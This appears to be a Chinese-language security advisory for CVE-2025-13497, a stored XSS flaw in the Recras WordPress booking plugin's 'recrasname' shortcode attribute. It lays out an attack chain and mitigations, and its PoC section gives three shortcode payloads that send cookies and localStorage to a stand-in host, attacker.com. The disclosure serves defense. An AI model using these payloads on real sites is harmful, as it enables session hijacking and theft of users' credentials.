IPBUF安全漏洞报告
English
CVE-2025-13497 CVSS 6.4 中危

CVE-2025-13497 Recras WordPress插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13497
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Recras WordPress Plugin

相关标签

存储型XSSWordPress插件漏洞Recras短代码注入CVE-2025-13497WordPress安全Cross-Site Scripting

漏洞概述

CVE-2025-13497是WordPress Recras插件中的一个存储型跨站脚本(Stored XSS)漏洞。该插件用于在WordPress网站中实现在线预订功能。漏洞源于插件在处理短代码属性'recrasname'时,缺少充分的输入清理和输出转义处理。攻击者利用此漏洞可以注入任意JavaScript代码,这些恶意代码会被永久存储在受影响的WordPress页面中。当其他用户访问包含恶意代码的页面时,注入的脚本会自动执行,可能导致会话劫持、敏感信息窃取、管理员权限滥用等严重安全问题。由于该漏洞需要 Contributor 级别权限才能利用,因此主要威胁来自内部恶意用户。

技术细节

漏洞存在于Recras插件的OnlineBooking.php文件第144行附近的短代码处理逻辑中。当用户使用[recras recrasname='xxx']短代码时,插件直接将'recrasname'参数的值插入到页面输出中,而未对其进行适当的HTML转义或输入验证。攻击者可以通过构造恶意Payload如:recrasname='"><script>alert(document.cookie)</script>'来注入JavaScript代码。由于WordPress短代码在页面保存时就会解析执行,恶意代码会被永久存储在数据库中,形成存储型XSS。攻击者利用此漏洞可窃取用户Cookie、会话令牌,进行钓鱼攻击,或在管理员访问时执行管理操作。漏洞的根本原因是缺少htmlspecialchars()或esc_html()等输出转义函数,以及缺少sanitize_text_field()等输入清理函数。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的Recras WordPress插件版本<=6.4.1
STEP 2
2. 获取访问权限
攻击者获取WordPress Contributor级别或更高权限的账户
STEP 3
3. 注入恶意代码
在页面/文章编辑中使用含有XSS Payload的recras短代码,如[recras recrasname='xxx']
STEP 4
4. 代码存储
恶意代码被保存到数据库中,成为页面内容的永久部分
STEP 5
5. 触发执行
当其他用户(受害者)访问包含恶意代码的页面时,浏览器自动执行注入的JavaScript
STEP 6
6. 攻击完成
攻击者通过JavaScript窃取Cookie、会话令牌或其他敏感信息,可进一步进行账户劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13497 PoC: Recras WordPress Plugin Stored XSS --> <!-- Authenticated Contributor+ role required --> <!-- Method 1: Using shortcode in post/page content --> [recras recrasname='"><script>alert('XSS by CVE-2025-13497');document.location='https://attacker.com/steal?c='+document.cookie</script>'] <!-- Method 2: Using shortcode with event handler --> [recras recrasname='"><img src=x onerror=fetch('https://attacker.com/log?cookie='+btoa(document.cookie))>'] <!-- Method 3: Stealing admin credentials --> [recras recrasname='"><script>fetch('https://attacker.com/exfil?data='+btoa(JSON.stringify({cookies:document.cookie,storage:localStorage,url:location.href})));</script>']

影响范围

Recras WordPress Plugin <= 6.4.1

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时措施:1) 限制Contributor角色的内容发布权限,要求所有页面内容必须经过管理员审核;2) 使用WordPress防火墙插件(如Wordfence)检测和阻止XSS攻击;3) 禁用非管理员创建包含短代码内容的功能;4) 实施严格的访问控制,确保只有可信用户才能编辑内容;5) 考虑暂时禁用Recras插件的相关短代码功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表